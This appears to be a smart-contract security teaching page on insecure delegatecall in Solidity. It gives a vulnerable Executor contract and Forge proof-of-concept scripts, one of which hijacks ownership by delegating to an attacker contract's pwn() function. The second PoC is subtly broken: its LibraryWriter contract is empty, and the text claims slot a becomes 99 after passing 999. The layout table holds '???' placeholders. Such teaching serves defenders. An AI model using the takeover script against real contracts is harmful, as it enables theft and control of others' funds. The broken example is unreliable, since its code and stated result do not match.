Insecure DelegateCall
SCWE-035: Insecure Delegatecall Usage
Theory
delegatecall is one of the most dangerous low-level operations in Solidity. When misused, it can lead to arbitrary code execution, storage corruption, ownership takeover, and complete contract compromise.
delegatecall invokes code from another contract, but executes it in the caller's context.
This means:
msg.senderremains the original callermsg.valueis unchangedThe code runs with the caller’s storage layout
State variables are written to the caller’s storage slots
The callee’s storage is ignored entirely
Essentially, the callee’s contract becomes a logic extension of the caller.

This makes delegatecall extremely dangerous as the delegated contract runs with full authority and writes to the caller’s storage, a single unsafe delegatecall can compromise the entire system.
Storage Layout Dependency
Because the callee reads and writes storage as if it owned the caller’s storage, security fully depends on strictly matching storage layouts:
0
owner
???
1
implementation
???
2
userBalance
???
If the library’s first variable is not owner, then calling it using delegatecall overwrites the wrong slot, corrupting the state.
Practice
Arbitrary Code Execution via User-Controlled Address
When a contract allows the caller to specify the target address for delegatecall, it effectively grants them full code execution authority.
Since the delegated code runs in the caller’s storage context, an attacker can deploy a malicious contract and force the caller to execute it, modifying critical storage values such as ownership variables.
// Vulnerable Contract
pragma solidity ^0.8.13;
contract Executor {
address public lib;
address public owner;
function execute(bytes memory data, address target) public {
target.delegatecall(data); // User controls delegatecall target
}
}
The attacker simply needs to provide a malicious implementation and the encoded function call.
// PoC
// forge script scripts/DelegatecallArbitraryExec.s.sol --rpc-url $RPC_URL --broadcast
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
interface IExecutor {
function execute(bytes calldata, address) external;
}
contract Attack {
address public lib;
address public owner;
function pwn() external {
owner = msg.sender;
}
}
contract DelegatecallArbitraryExec is Script {
function run() external {
vm.startBroadcast();
IExecutor exec = IExecutor(vm.envAddress("EXECUTOR"));
Attack attack = new Attack();
bytes memory payload = abi.encodeWithSignature("pwn()");
exec.execute(payload, address(attack));
vm.stopBroadcast();
}
}Storage Corruption Through Layout Mismatch
Even when the target contract is trusted, a mismatch in storage layout guarantees corruption.
pragma solidity ^0.8.0;
contract StorageContract {
uint256 public a; // slot 0
uint256 public b; // slot 1
address public lib; // slot 2
function run(address _lib, bytes calldata data) external {
_lib.delegatecall(data);
}
}
contract Library {
uint256 public temp; // slot 0 (overwrites StorageContract.a)
function write(uint256 x) external {
temp = x;
}
}After execution of this PoC, the storage slot a will be 99
// forge script scripts/DelegatecallStorageCorruption.s.sol --broadcast
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
interface IStorageContract {
function run(address, bytes calldata) external;
}
contract LibraryWriter {}
contract DelegatecallStorageCorruption is Script {
function run() external {
vm.startBroadcast();
IStorageContract target = IStorageContract(vm.envAddress("TARGET"));
LibraryWriter lib = new LibraryWriter();
bytes memory payload = abi.encodeWithSignature("write(uint256)", 999);
target.run(address(lib), payload);
vm.stopBroadcast();
}
}Resources
Last updated
Was this helpful?
